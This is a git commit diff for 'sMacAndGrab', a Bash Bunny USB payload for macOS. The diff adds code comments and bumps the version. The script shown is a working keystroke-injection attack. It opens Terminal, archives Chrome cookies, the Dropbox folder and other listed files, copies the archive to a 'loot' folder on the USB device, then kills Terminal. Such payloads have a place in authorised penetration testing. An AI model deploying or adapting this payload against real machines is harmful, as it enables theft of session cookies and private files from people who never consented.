adds code comments
parent
f272fedbe1
commit
16c461d850
|
@ -3,7 +3,7 @@
|
||||||
# Title: sMacAndGrab
|
# Title: sMacAndGrab
|
||||||
# Author: audibleblink
|
# Author: audibleblink
|
||||||
# Target: macOS
|
# Target: macOS
|
||||||
# Version: 1.0
|
# Version: 1.1
|
||||||
#
|
#
|
||||||
# Backup a list of files from macOS
|
# Backup a list of files from macOS
|
||||||
#
|
#
|
||||||
|
@ -13,13 +13,16 @@
|
||||||
LED G R 500
|
LED G R 500
|
||||||
ATTACKMODE HID STORAGE
|
ATTACKMODE HID STORAGE
|
||||||
|
|
||||||
|
# make the loot directory on the BashBunny
|
||||||
mkdir -p /root/udisk/loot/sMacAndGrab
|
mkdir -p /root/udisk/loot/sMacAndGrab
|
||||||
|
|
||||||
# Unknown devices mount as NO NAME
|
# mounted device name
|
||||||
dev_name="NO NAME"
|
dev_name="BashBunny"
|
||||||
lootdir="\"/Volumes/$dev_name/loot/sMacAndGrab\""
|
|
||||||
|
|
||||||
# Add your files here
|
# loot directory when mounted on the mac
|
||||||
|
lootdir="/Volumes/$dev_name/loot/sMacAndGrab"
|
||||||
|
|
||||||
|
# Add files, folders, or commands that return filenames
|
||||||
files_to_copy=(
|
files_to_copy=(
|
||||||
"\"~/Library/Application Support/Google/Chrome/Default/Cookies\"" # Quote paths with spaces
|
"\"~/Library/Application Support/Google/Chrome/Default/Cookies\"" # Quote paths with spaces
|
||||||
"~/Dropbox"
|
"~/Dropbox"
|
||||||
|
@ -31,9 +34,12 @@ QUACK DELAY 1000
|
||||||
QUACK STRING terminal
|
QUACK STRING terminal
|
||||||
QUACK ENTER
|
QUACK ENTER
|
||||||
QUACK DELAY 4000
|
QUACK DELAY 4000
|
||||||
|
# one-liner because we want the move command to wait for tar to finish
|
||||||
|
# tar take n time, depending on the contents of $files_to_copy
|
||||||
QUACK STRING tar -cf \$USER.tar.gz ${files_to_copy[*]}\; mv \$USER.tar.gz $lootdir\; killall Terminal
|
QUACK STRING tar -cf \$USER.tar.gz ${files_to_copy[*]}\; mv \$USER.tar.gz $lootdir\; killall Terminal
|
||||||
QUACK ENTER
|
QUACK ENTER
|
||||||
|
|
||||||
|
# sync the filesystem
|
||||||
sync
|
sync
|
||||||
LED G
|
LED G
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# sMacAndGrab
|
# sMacAndGrab
|
||||||
|
|
||||||
Author: audibleblink
|
Author: audibleblink
|
||||||
Version: Version 1.0
|
Version: Version 1.1
|
||||||
Target: macOS
|
Target: macOS
|
||||||
|
|
||||||
## Description
|
## Description
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue